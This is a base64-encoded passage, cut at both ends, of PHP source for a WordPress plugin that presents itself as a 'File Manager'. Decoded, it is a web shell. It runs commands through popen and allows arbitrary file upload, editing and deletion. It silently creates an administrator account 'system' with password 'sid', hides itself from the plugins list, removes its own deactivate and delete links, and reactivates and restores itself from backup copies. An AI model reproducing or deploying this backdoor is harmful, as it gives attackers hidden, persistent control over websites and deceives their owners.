J3BvcGVuJykpIHsNCiAgICAgICAgICAgICAgICAkaGFuZGxlID0gQHBvcGVuKCRjbWQsICdyJyk7DQogICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgICAgIEBwY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG91dHB1dCA9ICJDb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXJlIGRpc2FibGVkIG9uIHRoaXMgc2VydmVyLiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAkb3V0cHV0Ow0KICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddID0gJGN3ZDsNCiAgICAgICAgDQogICAgICAgIC8vIFVzZSB0aGUgdXBkYXRlZCBjdXJyZW50X2RpciBmcm9tIGNkIGNvbW1hbmQNCiAgICAgICAgaWYgKGlzc2V0KCRjdXJyZW50X2RpcikpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN3ZCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGZpbGUgb3BlcmF0aW9ucyAodXBsb2FkLCBjcmVhdGUsIGRlbGV0ZSwgcmVuYW1lLCBlZGl0LCBjaG1vZCkNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRyZWRpcmVjdCA9IHRydWU7DQogICAgICAgIA0KICAgICAgICAvLyBGaWxlIHVwbG9hZA0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVNbJ2ZpbGVzJ10pKSB7DQogICAgICAgICAgICAvLyBOb3JtYWxpemUgZmlsZSBhcnJheQ0KICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ10pKSB7DQogICAgICAgICAgICAgICAgJF9GSUxFU1snZmlsZXMnXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IFskX0ZJTEVTWydmaWxlcyddWyduYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3R5cGUnXV0sDQogICAgICAgICAgICAgICAgICAgICd0bXBfbmFtZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAnZXJyb3InID0+IFskX0ZJTEVTWydmaWxlcyddWydlcnJvciddXSwNCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IFskX0ZJTEVTWydmaWxlcyddWydzaXplJ11dDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJF9GSUxFU1snZmlsZXMnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wKSB7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV0pKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApICYmICRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9ICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGldKTsNCiAgICAgICAgICAgICAgICAgICAgJGRlc3RpbmF0aW9uID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkZXN0aW5hdGlvbikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGRlc3RpbmF0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXAsICRkZXN0aW5hdGlvbik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBDcmVhdGUgZm9sZGVyDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmb2xkZXInXSkpIHsNCiAgICAgICAgICAgICRmb2xkZXJuYW1lID0gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnbmV3Zm9sZGVyJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7DQogICAgICAgICAgICAgICAgQG1rZGlyKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7DQogICAgICAgICAgICAkZmlsZW5hbWUgPSAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lLCAnJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIERlbGV0ZSBmaWxlL2ZvbGRlcg0KICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZGVsZXRlJ10pKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX1BPU1RbJ2RlbGV0ZSddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gUHJvdGVjdCBzZWxmDQogICAgICAgICAgICBpZiAocmVhbHBhdGgoJHRhcmdldCkgPT09IHJlYWxwYXRoKF9fRklMRV9fKSB8fCANCiAgICAgICAgICAgICAgICAoaXNfYXJyYXkoJHRoaXMtPmJhY2t1cF9maWxlcykgJiYgaW5fYXJyYXkocmVhbHBhdGgoJHRhcmdldCksIGFycmF5X2ZpbHRlcihhcnJheV9tYXAoJ3JlYWxwYXRoJywgJHRoaXMtPmJhY2t1cF9maWxlcykpKSkpIHsNCiAgICAgICAgICAgICAgICAvLyBEb24ndCBkZWxldGUgc2VsZg0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0YXJnZXQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlY3Vyc2l2ZV9kZWxldGUoJHRhcmdldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBSZW5hbWUNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsNCiAgICAgICAgICAgICRvbGQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnb2xkJ10pOw0KICAgICAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXcnXSk7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG9sZCkgJiYgIWZpbGVfZXhpc3RzKCRuZXcpKSB7DQogICAgICAgICAgICAgICAgQHJlbmFtZSgkb2xkLCAkbmV3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gQ2htb2QNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgew0KICAgICAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnY2htb2RfZmlsZSddKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBvY3RkZWMoJF9QT1NUWydjaG1vZCddKTsNCiAgICAgICAgICAgICAgICBpZiAoJHBlcm1zID49IDAgJiYgJHBlcm1zIDw9IDA3NzcpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRmaWxlLCAkcGVybXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gRWRpdCBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydlZGl0X2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pKSB7DQogICAgICAgICAgICAkZmlsZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWydlZGl0X2ZpbGUnXSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZSkgJiYgaXNfd3JpdGFibGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkcmVkaXJlY3QpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZWN1cnNpdmVseSBkZWxldGUgZGlyZWN0b3J5DQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWN1cnNpdmVfZGVsZXRlKCRkaXIpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGZpbGVzID0gQHNjYW5kaXIoJGRpcik7DQogICAgICAgIGlmICgkZmlsZXMgPT09IGZhbHNlKSByZXR1cm4gZmFsc2U7DQogICAgICAgIA0KICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRmaWxlcywgWycuJywgJy4uJ10pOw0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsNCiAgICAgICAgICAgIGlzX2RpcigkcGF0aCkgPyAkdGhpcy0+cmVjdXJzaXZlX2RlbGV0ZSgkcGF0aCkgOiBAdW5saW5rKCRwYXRoKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogU2FuaXRpemUgZmlsZW5hbWUNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhbml0aXplX2ZpbGVuYW1lKCRmaWxlbmFtZSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KICAgICAgICAkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgiXDAiLCAnJywgJGZpbGVuYW1lKTsNCiAgICAgICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTkuXy1dLycsICdfJywgJGZpbGVuYW1lKTsNCiAgICAgICAgaWYgKGVtcHR5KCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgICRmaWxlbmFtZSA9ICd1bnRpdGxlZF8nIC4gZGF0ZSgnWW1kX0hpcycpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkZmlsZW5hbWU7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlZGlyZWN0IGFmdGVyIFBPU1Qgb3BlcmF0aW9uDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRlbmNvZGVkX2RpciA9ICcnOw0KICAgICAgICBpZiAoJGN1cnJlbnRfZGlyICE9PSAkdGhpcy0+cm9vdF9wYXRoKSB7DQogICAgICAgICAgICAkcmVsYXRpdmUgPSBzdHJfcmVwbGFjZSgkdGhpcy0+cm9vdF9wYXRoLCAnJywgJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgICRlbmNvZGVkX2RpciA9ICR0aGlzLT5lbmNvZGVQYXRoKCRyZWxhdGl2ZSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICAkdXJsID0gYWRtaW5fdXJsKCdhZG1pbi5waHA/cGFnZT1TaWRGaWxlLU1hbmFnZXItcGF0aCcpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9kaXIpKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJnA9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdwX3JlZGlyZWN0KCR1cmwpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHVybCA9ICc/JzsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGVuY29kZWRfZGlyKSkgew0KICAgICAgICAgICAgICAgICR1cmwgLj0gJ3A9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBQYXRoIGVuY29kaW5nL2RlY29kaW5nDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBlbmNvZGVQYXRoKCRwYXRoKSB7DQogICAgICAgICRhID0gWyIvIiwgIlxcIiwgIi4iLCAiOiJdOw0KICAgICAgICAkYiA9IFsiUSIsICJXIiwgIlIiLCAiWSJdOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlUGF0aCgkcGF0aCkgew0KICAgICAgICAkYSA9IFsiLyIsICJcXCIsICIuIiwgIjoiXTsNCiAgICAgICAgJGIgPSBbIlEiLCAiVyIsICJSIiwgIlkiXTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBDcmVhdGUgV29yZFByZXNzIGFkbWluIHVzZXINCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX2FkbWluX3VzZXIoKSB7DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10pKSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcyAmJiBmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCd1c2VybmFtZV9leGlzdHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2VtYWlsX2V4aXN0cycpKSB7DQogICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJ3N5c3RlbSc7DQogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJ3NpZCc7DQogICAgICAgICAgICAgICAgJGVtYWlsID0gJ2hvc3RpbmdAbG9jYWxob3N0LmNvbSc7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSAmJiAhZW1haWxfZXhpc3RzKCRlbWFpbCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcigkdXNlcm5hbWUsICRwYXNzd29yZCwgJGVtYWlsKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkdXNlcl9pZCkgJiYgY2xhc3NfZXhpc3RzKCdXUF9Vc2VyJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSA9IHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGlkZSBmcm9tIFdvcmRQcmVzcyBwbHVnaW5zIGxpc3QNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaGlkZV9mcm9tX3BsdWdpbnNfbGlzdCgkcGx1Z2lucykgew0KICAgICAgICAkcGx1Z2luX2Jhc2VuYW1lID0gcGx1Z2luX2Jhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgaWYgKGlzc2V0KCRwbHVnaW5zWyRwbHVnaW5fYmFzZW5hbWVdKSkgew0KICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJHBsdWdpbl9iYXNlbmFtZV0pOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcGx1Z2luczsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogUmVtb3ZlIGRlYWN0aXZhdGlvbiBsaW5rDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZV9kZWFjdGl2YXRpb25fbGluaygkYWN0aW9ucywgJHBsdWdpbl9maWxlLCAkcGx1Z2luX2RhdGEsICRjb250ZXh0KSB7DQogICAgICAgIGlmICgkcGx1Z2luX2ZpbGUgPT09IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXykpIHsNCiAgICAgICAgICAgIHVuc2V0KCRhY3Rpb25zWydkZWFjdGl2YXRlJ10pOw0KICAgICAgICAgICAgdW5zZXQoJGFjdGlvbnNbJ2RlbGV0ZSddKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGFjdGlvbnM7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIEF1dG8tcmVhY3RpdmF0ZSBwbHVnaW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYXV0b19yZWFjdGl2YXRlKCkgew0KICAgICAgICBpZiAoISR0aGlzLT5pc193b3JkcHJlc3MpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHBsdWdpbl9iYXNlbmFtZSA9IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyk7DQogICAgICAgIA0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdpc19wbHVnaW5fYWN0aXZlJykgJiYgIWlzX3BsdWdpbl9hY3RpdmUoJHBsdWdpbl9iYXNlbmFtZSkpIHsNCiAgICAgICAgICAgICRhY3RpdmVfcGx1Z2lucyA9IGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgW10pOw0KICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkcGx1Z2luX2Jhc2VuYW1lLCAkYWN0aXZlX3BsdWdpbnMpKSB7DQogICAgICAgICAgICAgICAgJGFjdGl2ZV9wbHVnaW5zW10gPSAkcGx1Z2luX2Jhc2VuYW1lOw0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJGFjdGl2ZV9wbHVnaW5zKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlDQogICAgICAgIGlmICghZmlsZV9leGlzdHMoV1BfUExVR0lOX0RJUiAuICcvJyAuICRwbHVnaW5fYmFzZW5hbWUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGJhY2t1cCwgX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogQWRkIFdvcmRQcmVzcyBhZG1pbiBtZW51DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZF9hZG1pbl9tZW51KCkgew0KICAgICAgICBhZGRfbWVudV9wYWdlKA0KICAgICAgICAgICAgJ0ZpbGUgTWFuYWdlcicsDQogICAgICAgICAgICAnRmlsZSBNYW5hZ2VyJywNCiAgICAgICAgICAgICdtYW5hZ2Vfb3B0aW9ucycsDQogICAgICAgICAgICAnU2lkRmlsZS1NYW5hZ2VyLXBhdGgnLA0KICAgICAgICAgICAgWyR0aGlzLCAncmVuZGVyX3BhZ2UnXSwNCiAgICAgICAgICAgICdkYXNoaWNvbnMtYWRtaW4taG9tZScsDQogICAgICAgICAgICA4MA0KICAgICAgICApOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgdGhlIHBhZ2UNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuZGVyX3BhZ2UoKSB7DQogICAgICAgICR0aGlzLT5yZW5kZXJfc3RhbmRhbG9uZV9wYWdlKCk7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlbmRlciBzdGFuZGFsb25lIHBhZ2UNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJ21hbmFnZV9vcHRpb25zJykpIHsNCiAgICAgICAgICAgICAgICB3cF9kaWUoJ0FjY2VzcyBkZW5pZWQuJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRjdXJyZW50X2RpciA9ICR0aGlzLT5nZXRfY3VycmVudF9kaXJlY3RvcnkoKTsNCiAgICAgICAgDQogICAgICAgIC8vIEdldCBkaXJlY3RvcnkgY29udGVudHMNCiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgaWYgKCRpdGVtcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRpdGVtcyA9IFsnLicsICcuLiddOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkZm9sZGVycyA9IFtdOw0KICAgICAgICAkZmlsZXMgPSBbXTsNCg0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICRmb2xkZXJzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwNCiAgICAgICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBAZmlsZW10aW1lKCRmdWxsX3BhdGgpDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRmdWxsX3BhdGgpLA0KICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksDQogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gQGZpbGVtdGltZSgkZnVsbF9wYXRoKSwNCiAgICAgICAgICAgICAgICAgICAgJ2V4dGVuc2lvbicgPT4gc3RydG9sb3dlcihwYXRoaW5mbygkaXRlbSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLy8gU29ydA0KICAgICAgICB1c29ydCgkZm9sZGVycywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQogICAgICAgIHVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgLy8gRWRpdCBtb2RlDQogICAgICAgICRlZGl0TW9kZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pOw0KICAgICAgICAkZWRpdEZpbGUgPSAkX0dFVFsnZWRpdCddID8/ICcnOw0KICAgICAgICAkZWRpdENvbnRlbnQgPSAnJzsNCg0KICAgICAgICBpZiAoJGVkaXRNb2RlKSB7DQogICAgICAgICAgICAkZWRpdF90YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRlZGl0RmlsZSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZWRpdF90YXJnZXQpICYmIGlzX3JlYWRhYmxlKCRlZGl0X3RhcmdldCkpIHsNCiAgICAgICAgICAgI